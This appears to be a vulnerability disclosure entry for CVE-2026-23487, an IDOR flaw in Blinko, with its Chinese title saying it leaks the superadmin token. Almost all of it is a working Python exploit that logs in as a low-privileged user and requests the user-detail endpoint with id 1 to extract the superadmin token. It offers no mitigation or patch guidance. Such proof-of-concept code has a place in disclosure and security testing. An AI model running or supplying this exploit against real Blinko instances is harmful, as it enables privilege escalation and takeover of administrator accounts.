CVE-2026-23487: Blinko IDOR漏洞泄露超级管理员令牌

import requests # Target configuration target_url = "http://localhost:3000" login_endpoint = f"{target_url}/api/user/login" vulnerable_endpoint = f"{target_url}/api/user/detail" # Attacker's low-privileged credentials attacker_credentials = { "username": "lowpriv_user", "password": "password123" } # 1. Login as low-privileged user session = requests.Session() login_resp = session.post(login_endpoint, json=attacker_credentials) if login_resp.status_code == 200: print("[+] Login successful") # 2. Exploit IDOR to get Superadmin Token # Assuming ID 1 is the Superadmin (common default) params = {"id": 1} exploit_resp = session.get(vulnerable_endpoint, params=params) if exploit_resp.status_code == 200: data = exploit_resp.json() # Check if token is present in the response if "token" in data: print(f"[+] Exploit Successful! Superadmin Token: {data['token']}") else: print("[-] Token not found in response. Response data:") print(data) else: print(f"[-] Exploit request failed with status: {exploit_resp.status_code}") else: print("[-] Login failed")